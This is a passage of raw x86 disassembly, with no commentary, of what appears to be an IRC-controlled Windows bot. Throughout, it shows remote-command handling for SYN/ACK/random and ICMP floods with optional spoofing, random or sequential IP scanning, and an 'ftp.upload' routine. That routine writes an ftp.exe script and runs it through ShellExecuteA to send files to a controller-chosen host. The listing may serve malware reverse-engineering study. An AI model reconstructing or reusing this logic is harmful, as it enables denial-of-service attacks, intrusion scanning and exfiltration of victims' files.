; send push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_43A390 ; recv push esi call ds:dword_43A410 ; closesocket call ds:dword_43A2D8 ; WSACleanup lea eax, [ebp-0B94h] push eax push offset unk_4351C8 loc_40F6E8: ; CODE XREF: seg000:00410853j ; seg000:00410CB2j ... lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_40F6F7: ; CODE XREF: seg000:00410837j ; seg000:00410AE2j ... cmp [ebp-8], ebx jnz loc_4124BC push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h jmp loc_4124BC ; --------------------------------------------------------------------------- loc_40F721: ; CODE XREF: seg000:0040F592j push dword ptr [ebp+10h] push offset aUtil_httpcon ; "util.httpcon" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40F8EA push dword ptr [ebp+10h] push offset aUtil_hcon ; "util.hcon" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40F8EA mov esi, [ebp+esi-80h] cmp esi, ebx jz loc_40D1FD push dword ptr [ebp+10h] push offset aFtp_upload ; "ftp.upload" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_412974 push 4 push esi call sub_40C1E2 pop ecx test eax, eax pop ecx jnz short loc_40F7BF push esi push offset dword_43516C loc_40F786: ; CODE XREF: seg000:0040FA9Cj ; seg000:00410050j ... lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch loc_40F795: ; CODE XREF: seg000:0040FA80j ; seg000:00410034j ... cmp [ebp-8], ebx jnz loc_412834 push ebx push dword ptr [ebp-4] loc_40F7A2: ; CODE XREF: seg000:00410663j lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] loc_40F7B2: ; CODE XREF: seg000:00411F0Cj call sub_412D32 add esp, 14h jmp loc_412834 ; --------------------------------------------------------------------------- loc_40F7BF: ; CODE XREF: seg000:0040F77Ej call ds:dword_42104C ; GetTickCount push eax call sub_41551F pop ecx call sub_415529 push 9 cdq pop ecx idiv ecx push edx call sub_415529 push 63h cdq pop ecx idiv ecx push edx call sub_415529 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-0C9Ch] push edx push eax lea eax, [ebp-0B98h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4154CD lea eax, [ebp-0B98h] push offset aAb ; "ab" push eax call sub_415BC8 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_40D1FD push esi push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415B76 push dword ptr [ebp+2Ch] call sub_415B20 lea eax, [ebp-0B98h] push eax lea eax, [ebp-3E4h] push offset aSS_4 ; "-s:%s" push eax call sub_4154CD add esp, 2Ch lea eax, [ebp-3E4h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_43A2EC ; ShellExecuteA test eax, eax push edi push esi jz short loc_40F889 push offset dword_4350F0 jmp short loc_40F88E ; --------------------------------------------------------------------------- loc_40F889: ; CODE XREF: seg000:0040F880j push offset dword_4350B0 loc_40F88E: ; CODE XREF: seg000:0040F887j call sub_4154CD add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40F8B7 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_40F8B7: ; CODE XREF: seg000:0040F899j lea eax, [ebp-2C8h] push eax call sub_40B151 loc_40F8C3: ; CODE XREF: seg000:0040F8E8j lea eax, [ebp-0B98h] push 4 push eax call sub_40C1E2 add esp, 0Ch test eax, eax jz loc_40D1FD lea eax, [ebp-0B98h] push eax call sub_4178DC jmp short loc_40F8C3 ; --------------------------------------------------------------------------- loc_40F8EA: ; CODE XREF: seg000:0040F732j ; seg000:0040F749j push dword ptr [ebp+esi-80h] push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] call sub_415A3F pop ecx push eax push edi push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_406B01 jmp loc_412971 ; --------------------------------------------------------------------------- loc_40F918: ; CODE XREF: seg000:0040F564j ; seg000:0040F57Bj mov esi, 80h push edi lea eax, [ebp-680h] push esi push eax call sub_415A4A lea eax, [ebp-680h] push eax push offset aSyn ; "syn" call sub_4158F0 add esp, 14h test eax, eax jz short loc_40F97B lea eax, [ebp-680h] push eax push offset aAck ; "ack" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40F97B lea eax, [ebp-680h] push eax push offset aRandom ; "random" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40F97B push offset dword_435074 jmp loc_412012 ; --------------------------------------------------------------------------- loc_40F97B: ; CODE XREF: seg000:0040F941j ; seg000:0040F958j ... push dword ptr [ebp+18h] call sub_415A3F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40FAA1 push edi lea eax, [ebp-680h] push esi push eax call sub_415A4A push dword ptr [ebp+20h] lea eax, [ebp-700h] push esi push eax call sub_415A4A push dword ptr [ebp+8] call sub_415A3F mov [ebp-57Ch], eax xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_415A4A mov eax, [ebp-4] add esp, 28h cmp [ebp-574h], ebx mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40FA12 mov eax, offset aNormal ; "Normal" loc_40FA12: ; CODE XREF: seg000:0040FA0Bj push dword ptr [ebp+18h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push eax push offset dword_43501C lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A push ebx lea eax, [ebp-2C8h] push 0Ch push eax call sub_414F79 add esp, 2Ch mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset sub_401BD6 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40FA90 loc_40FA7A: ; CODE XREF: seg000:0040FA8Ej cmp [ebp-568h], ebx jnz loc_40F795 push 32h call ds:dword_421060 ; Sleep jmp short loc_40FA7A ; --------------------------------------------------------------------------- loc_40FA90: ; CODE XREF: seg000:0040FA78j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434FD0 jmp loc_40F786 ; --------------------------------------------------------------------------- loc_40FAA1: ; CODE XREF: seg000:0040F98Cj push offset dword_434F84 jmp loc_412012 ; --------------------------------------------------------------------------- loc_40FAAB: ; CODE XREF: seg000:0040F51Fj ; seg000:0040F536j ... cmp ds:dword_43A468, ebx mov esi, [ebp+0Ch] jnz loc_40FBB3 mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_416D20 push dword ptr [ebp+20h] call sub_415A3F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_415A3F push dword ptr [ebp+18h] mov [ebp-300h], eax call sub_415A3F push 7Fh mov [ebp-2FCh], eax push dword ptr [ebp-8Ch] lea eax, [ebp-404h] push eax call sub_416D20 push dword ptr [ebp-2FCh] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset unk_434F28 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 0Eh push eax call sub_414F79 add esp, 48h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset loc_40A1FB push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40FBA2 loc_40FB90: ; CODE XREF: seg000:0040FBA0j cmp [ebp-2E8h], ebx jnz short loc_40FBCC push 32h call ds:dword_421060 ; Sleep jmp short loc_40FB90 ; --------------------------------------------------------------------------- loc_40FBA2: ; CODE XREF: seg000:0040FB8Ej call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434EDC jmp loc_41075C ; --------------------------------------------------------------------------- loc_40FBB3: ; CODE XREF: seg000:0040FAB4j push 1FFh lea eax, [ebp-2C8h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416D20 loc_40FBC9: ; CODE XREF: seg000:00410768j add esp, 0Ch loc_40FBCC: ; CODE XREF: seg000:0040FB96j ; seg000:0040FCDDj ... cmp [ebp-8], ebx jnz loc_412834 push ebx push dword ptr [ebp-4] jmp loc_411EFE ; --------------------------------------------------------------------------- loc_40FBDE: ; CODE XREF: seg000:0040F4DAj ; seg000:0040F4F1j ... mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_416D20 push dword ptr [ebp+20h] call sub_415A3F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_415A3F push dword ptr [ebp+18h] mov [ebp-300h], eax call sub_415A3F mov esi, [ebp+esi-80h] add esp, 18h cmp esi, ebx mov [ebp-2FCh], eax jz short loc_40FC43 push esi call sub_415A3F pop ecx mov [ebp-2F8h], eax jmp short loc_40FC49 ; --------------------------------------------------------------------------- loc_40FC43: ; CODE XREF: seg000:0040FC32j mov [ebp-2F8h], ebx loc_40FC49: ; CODE XREF: seg000:0040FC41j push 7Fh lea eax, [ebp-404h] push dword ptr [ebp-8Ch] push eax call sub_416D20 push dword ptr [ebp-2FCh] mov esi, [ebp+0Ch] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset dword_434E68 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 0Fh push eax call sub_414F79 add esp, 30h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset sub_40A387 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40FCED loc_40FCD7: ; CODE XREF: seg000:0040FCEBj cmp [ebp-2E8h], ebx jnz loc_40FBCC push 32h call ds:dword_421060 ; Sleep jmp short loc_40FCD7 ; --------------------------------------------------------------------------- loc_40FCED: ; CODE XREF: seg000:0040FCD5j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434E1C jmp loc_41075C ; --------------------------------------------------------------------------- loc_40FCFE: ; CODE XREF: seg000:0040F4ACj ; seg000:0040F4C3j push 8 call sub_4151C1 push dword ptr [ebp+20h] mov [ebp+10h], eax call sub_415A3F add eax, [ebp+10h] pop ecx pop ecx cmp eax, 12Ch jle short loc_40FD51 push dword ptr [ebp+10h] lea eax, [ebp-2C8h] push offset dword_434DC8 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 loc_40FD49: ; CODE XREF: seg000:00411167j add esp, 20h jmp loc_412974 ; --------------------------------------------------------------------------- loc_40FD51: ; CODE XREF: seg000:0040FD1Aj push edi call sub_415A3F push dword ptr [ebp+20h] mov [ebp-31Ch], eax call sub_415A3F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_415A3F add esp, 0Ch cmp eax, 1 mov [ebp-318h], eax jnb short loc_40FD8A push 1 pop eax mov [ebp-318h], eax loc_40FD8A: ; CODE XREF: seg000:0040FD7Fj push 3Ch pop ecx cmp eax, ecx jbe short loc_40FD97 mov [ebp-318h], ecx loc_40FD97: ; CODE XREF: seg000:0040FD8Fj push dword ptr [ebp+18h] call sub_415A3F cmp eax, 1F4h pop ecx mov [ebp-314h], eax jbe short loc_40FDB7 mov dword ptr [ebp-314h], 1F4h loc_40FDB7: ; CODE XREF: seg000:0040FDABj or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_427300, ebx mov [ebp+8], ebx jz short loc_40FE0D mov dword ptr [ebp+2Ch], offset dword_427300 loc_40FDD0: ; CODE XREF: seg000:0040FDEFj mov eax, [ebp+2Ch] push edi add eax, 0FFFFFFD8h push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40FDF3 add dword ptr [ebp+2Ch], 3Ch inc dword ptr [ebp+8] mov eax, [ebp+2Ch] cmp [eax], ebx jnz short loc_40FDD0 jmp short loc_40FE0D ; --------------------------------------------------------------------------- loc_40FDF3: ; CODE XREF: seg000:0040FDE1j mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_427300[ecx] mov [ebp-31Ch], ecx loc_40FE0D: ; CODE XREF: seg000:0040FDC7j ; seg000:0040FDF1j cmp [ebp-31Ch], ebx jz loc_411C2F mov edi, [ebp+esi-80h] cmp edi, ebx mov [ebp+20h], edi jz short loc_40FE54 cmp byte ptr [edi], 23h jz short loc_40FE54 push edi lea eax, [ebp-430h] push 10h push eax call sub_415A4A push 78h push edi call sub_417060 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-2F0h], eax jmp loc_40FF28 ; --------------------------------------------------------------------------- loc_40FE54: ; CODE XREF: seg000:0040FE22j ; seg000:0040FE27j cmp [ebp-9B3h], bl jnz short loc_40FE76 cmp [ebp-9B2h], bl jnz short loc_40FE76 cmp [ebp-9A2h], bl jnz short loc_40FE76 push offset dword_434D7C jmp loc_412012 ; --------------------------------------------------------------------------- loc_40FE76: ; CODE XREF: seg000:0040FE5Aj ; seg000:0040FE62j ... push 10h lea eax, [ebp+8] pop edi push eax lea eax, [ebp-2D8h] push eax mov [ebp+8], edi push dword ptr [ebp+0Ch] call ds:dword_43A31C ; getsockname mov al, [ebp-9B3h] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_416D20 add esp, 0Ch cmp [ebp-9A2h], bl jz short loc_40FF22 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_417020 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_40FF16 loc_40FEF4: ; CODE XREF: seg000:0040FF14j cmp eax, ebx jz short loc_40FF16 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_417020 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40FEF4 loc_40FF16: ; CODE XREF: seg000:0040FEF2j ; seg000:0040FEF6j mov dword ptr [ebp-2F0h], 1 jmp short loc_40FF28 ; --------------------------------------------------------------------------- loc_40FF22: ; CODE XREF: seg000:0040FECCj mov [ebp-2F0h], ebx loc_40FF28: ; CODE XREF: seg000:0040FE4Fj ; seg000:0040FF20j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov [ebp-320h], eax mov eax, [ebp-4] mov [ebp-2F8h], eax mov eax, [ebp-8] mov [ebp-2F4h], eax mov edi, 80h lea eax, [ebp-420h] push edi push eax call sub_415A4A mov esi, [ebp+esi-7Ch] add esp, 0Ch cmp esi, ebx jz short loc_40FF79 loc_40FF66: ; CODE XREF: seg000:0040FF9Cj push esi loc_40FF67: ; CODE XREF: seg000:0040FF86j lea eax, [ebp-3A0h] push edi push eax call sub_415A4A add esp, 0Ch jmp short loc_40FFA4 ; --------------------------------------------------------------------------- loc_40FF79: ; CODE XREF: seg000:0040FF64j mov eax, [ebp+20h] cmp eax, ebx jz short loc_40FF88 cmp byte ptr [eax], 23h jnz short loc_40FF88 push eax jmp short loc_40FF67 ; --------------------------------------------------------------------------- loc_40FF88: ; CODE XREF: seg000:0040FF7Ej ; seg000:0040FF83j mov esi, offset aSf1 ; "#sf1" push offset byte_438F9C push esi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40FF66 mov [ebp-3A0h], bl loc_40FFA4: ; CODE XREF: seg000:0040FF77j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40FFB6 mov eax, offset aSequential ; "Sequential" loc_40FFB6: ; CODE XREF: seg000:0040FFAFj push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_434CF0 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_414F79 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_407983 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410044 loc_41002E: ; CODE XREF: seg000:00410042j cmp [ebp-2ECh], ebx jnz loc_40F795 push 32h call ds:dword_421060 ; Sleep jmp short loc_41002E ; --------------------------------------------------------------------------- loc_410044: ; CODE XREF: seg000:0041002Cj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434CA4 jmp loc_40F786 ; --------------------------------------------------------------------------- loc_410055: ; CODE XREF: seg000:0040F46Cj ; seg000:0040F483j push edi call sub_415A3F imul eax, 234h pop ecx cmp ds:byte_43F520[eax], bl jz loc_412974 cmp [ebp-0Ch], ebx jz loc_412974 push edi call sub_415CD0 push dword ptr [ebp+10h] mov esi, eax call sub_415CD0 push dword ptr [ebp+20h] add esi, eax call sub_415CD0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_415AA0 mov esi, eax lea eax, [ebp-2C8h] push esi push offset dword_434C98 push eax call sub_4154CD add esp, 20h cmp esi, ebx jz loc_412974 push edi call sub_415A3F test eax, eax pop ecx jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 push ebx lea eax, [ebp-2C8h] push ebx push eax push dword ptr [ebp+20h] push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412D32 push edi call sub_415A3F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_43F308[eax], 73h jnz loc_412974 push esi push edi call sub_415A3F imul eax, 234h pop ecx add eax, offset byte_43F520 push eax push dword ptr [ebp+20h] push offset aSSS_1 ; "[%s] * %s %s" loc_41013D: ; CODE XREF: seg000:0041023Aj lea eax, [ebp-2C8h] push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 loc_410162: ; CODE XREF: seg000:004120DAj add esp, 28h jmp loc_412974 ; --------------------------------------------------------------------------- loc_41016A: ; CODE XREF: seg000:0040F43Ej ; seg000:0040F455j push edi call sub_415A3F imul eax, 234h pop ecx cmp ds:byte_43F520[eax], bl jz loc_412974 cmp [ebp-0Ch], ebx jz loc_412974 push edi call sub_415CD0 push dword ptr [ebp+10h] mov esi, eax call sub_415CD0 push dword ptr [ebp+20h] add esi, eax call sub_415CD0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_415AA0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_412974 push edi call sub_415A3F test eax, eax pop ecx jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 push ebx push ebx push esi push dword ptr [ebp+20h] push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412D32 push edi call sub_415A3F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_43F308[eax], 73h jnz loc_412974 push esi push edi call sub_415A3F imul eax, 234h pop ecx add eax, offset byte_43F520 push eax push dword ptr [ebp+20h] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_41013D ; --------------------------------------------------------------------------- loc_41023F: ; CODE XREF: seg000:0040F410j ; seg000:0040F427j push edi call ds:dword_43A3B8 ; inet_addr push dword ptr [ebp+20h] mov [ebp-460h], eax call sub_415A3F push dword ptr [ebp+8] mov [ebp-46Ch], eax call sub_415A3F mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-468h], eax lea eax, [ebp-4ECh] mov [ebp-4F0h], esi push eax call sub_416D20 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-458h], edi push dword ptr [ebp-468h] mov [ebp-454h], eax push dword ptr [ebp-46Ch] push dword ptr [ebp-460h] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp-2C8h] push offset unk_434C28 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_414F79 add esp, 20h mov [ebp-464h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F0h] push ebx push eax push offset sub_41454F push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-464h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410321 loc_41030B: ; CODE XREF: seg000:0041031Fj cmp [ebp-450h], ebx jnz loc_411EF3 push 32h call ds:dword_421060 ; Sleep jmp short loc_41030B ; --------------------------------------------------------------------------- loc_410321: ; CODE XREF: seg000:00410309j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434BD8 jmp loc_411EE4 ; --------------------------------------------------------------------------- loc_410332: ; CODE XREF: seg000:0040F3E2j ; seg000:0040F3F9j push edi call sub_415A3F push 7Fh mov [ebp-300h], eax push dword ptr [ebp+20h] lea eax, [ebp-404h] push eax call sub_416D20 push dword ptr [ebp+8] call sub_415A3F push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-304h], eax lea eax, [ebp-384h] push 80h push eax mov [ebp-40Ch], esi call sub_415A4A mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-2F0h], eax push dword ptr [ebp-304h] lea eax, [ebp-404h] mov [ebp-2F4h], edi push eax push dword ptr [ebp-300h] push esi call sub_40A155 pop ecx push eax lea eax, [ebp-2C8h] push offset unk_434B88 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 10h push eax call sub_414F79 add esp, 24h mov [ebp-2FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-40Ch] push ebx push eax push offset sub_407BE2 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-2FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_41041B loc_410405: ; CODE XREF: seg000:00410419j cmp [ebp-2ECh], ebx jnz loc_411EF3 push 32h call ds:dword_421060 ; Sleep jmp short loc_410405 ; --------------------------------------------------------------------------- loc_41041B: ; CODE XREF: seg000:00410403j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434B34 jmp loc_411EE4 ; --------------------------------------------------------------------------- loc_41042C: ; CODE XREF: seg000:0040F3B4j ; seg000:0040F3CBj push 0FFh lea eax, [ebp-788h] push edi push eax call sub_416D20 push 0FFh lea eax, [ebp-688h] push dword ptr [ebp+20h] push eax call sub_416D20 push dword ptr [ebp+8] mov [ebp-584h], ebx call sub_415A3F mov [ebp-580h], eax mov eax, [ebp+esi-84h] add esp, 1Ch cmp eax, ebx jz short loc_410488 push 10h push ebx push eax call sub_416A69 add esp, 0Ch mov [ebp-578h], eax jmp short loc_41048E ; --------------------------------------------------------------------------- loc_410488: ; CODE XREF: seg000:00410472j mov [ebp-578h], ebx loc_41048E: ; CODE XREF: seg000:00410486j mov esi, [ebp+esi-80h] cmp esi, ebx jz short loc_4104A5 push esi call sub_415A3F pop ecx mov [ebp-57Ch], eax jmp short loc_4104AB ; --------------------------------------------------------------------------- loc_4104A5: ; CODE XREF: seg000:00410494j mov [ebp-57Ch], ebx loc_4104AB: ; CODE XREF: seg000:004104A3j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_416D20 mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax push edi lea eax, [ebp-2C8h] push offset unk_434AF4 push eax call sub_4154CD push esi lea eax, [ebp-2C8h] push 15h push eax call sub_414F79 add esp, 28h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push 40BCD3h push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410559 loc_410543: ; CODE XREF: seg000:00410557j cmp [ebp-568h], ebx jnz loc_40FBCC push 32h call ds:dword_421060 ; Sleep jmp short loc_410543 ; --------------------------------------------------------------------------- loc_410559: ; CODE XREF: seg000:00410541j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434AA0 jmp loc_41075C ; --------------------------------------------------------------------------- loc_41056A: ; CODE XREF: seg000:0040F386j ; seg000:0040F39Dj push 7Fh lea eax, [ebp-774h] pop esi push esi push edi push eax call sub_416D20 push esi lea eax, [ebp-6F4h] push dword ptr [ebp+20h] push eax call sub_416D20 push esi lea eax, [ebp-674h] push dword ptr [ebp+8] push eax call sub_416D20 push esi lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_416D20 mov eax, [ebp-8] push dword ptr [ebp+8] mov esi, [ebp-4] mov [ebp-56Ch], eax mov eax, [ebp+0Ch] push dword ptr [ebp+20h] mov [ebp-778h], eax lea eax, [ebp-2C8h] push edi push offset dword_434A60 push eax mov [ebp-570h], esi call sub_4154CD add esp, 44h lea eax, [ebp-2C8h] push ebx push 0Bh push eax call sub_414F79 add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-778h] push ebx push eax push offset sub_40182E push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_41063D loc_41062B: ; CODE XREF: seg000:0041063Bj cmp [ebp-568h], ebx jnz short loc_410658 push 32h call ds:dword_421060 ; Sleep jmp short loc_41062B ; --------------------------------------------------------------------------- loc_41063D: ; CODE XREF: seg000:00410629j call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_434A14 push eax call sub_4154CD add esp, 0Ch loc_410658: ; CODE XREF: seg000:00410631j cmp [ebp-8], ebx jnz loc_412834 push ebx push esi jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_410668: ; CODE XREF: seg000:0040F341j ; seg000:0040F358j ... push 7Fh lea eax, [ebp-7F0h] pop esi push esi push edi push eax call sub_416D20 push esi lea eax, [ebp-770h] push dword ptr [ebp+20h] push eax call sub_416D20 push esi lea eax, [ebp-6F0h] push dword ptr [ebp+8] push eax call sub_416D20 push esi lea eax, [ebp-670h] push dword ptr [ebp-8Ch] push eax call sub_416D20 push 20h lea eax, [ebp-5F0h] push dword ptr [ebp+10h] push eax call sub_416D20 mov eax, [ebp-4] push dword ptr [ebp+8] mov esi, [ebp+0Ch] mov [ebp-570h], eax mov eax, [ebp-8] push dword ptr [ebp+20h] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push edi push offset unk_4349D0 push eax mov [ebp-7F8h], esi call sub_4154CD add esp, 50h lea eax, [ebp-2C8h] push ebx push 0Ah push eax call sub_414F79 add esp, 0Ch mov [ebp-7F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-7F8h] push ebx push eax push offset start push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-7F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410750 loc_41073A: ; CODE XREF: seg000:0041074Ej cmp [ebp-568h], ebx jnz loc_40FBCC push 32h call ds:dword_421060 ; Sleep jmp short loc_41073A ; --------------------------------------------------------------------------- loc_410750: ; CODE XREF: seg000:00410738j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434984 loc_41075C: ; CODE XREF: seg000:0040FBAEj ; seg000:0040FCF9j ... lea eax, [ebp-2C8h] push eax call sub_4154CD jmp loc_40FBC9 ; --------------------------------------------------------------------------- loc_41076D: ; CODE XREF: seg000:0040F313j ; seg000:0040F32Aj push 7Fh lea eax, [ebp-444h] push edi push eax call sub_416D20 push dword ptr [ebp+20h] call sub_415A3F push 3Fh mov [ebp-2F4h], eax push dword ptr [ebp+8] lea eax, [ebp-3C4h] push eax call sub_416D20 mov esi, [ebp+esi-84h] add esp, 1Ch cmp esi, ebx jz short loc_4107BB push 3Fh lea eax, [ebp-384h] push esi push eax call sub_416D20 add esp, 0Ch loc_4107BB: ; CODE XREF: seg000:004107A7j lea eax, [ebp-3C4h] mov dword ptr [ebp-2F0h], 1 push eax lea eax, [ebp-444h] push dword ptr [ebp-2F4h] push eax lea eax, [ebp-2C8h] push offset unk_434940 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 17h push eax call sub_414F79 add esp, 20h mov [ebp-2ECh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-448h] push ebx push eax push offset sub_40CB59 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-2ECh] imul ecx, 234h cmp 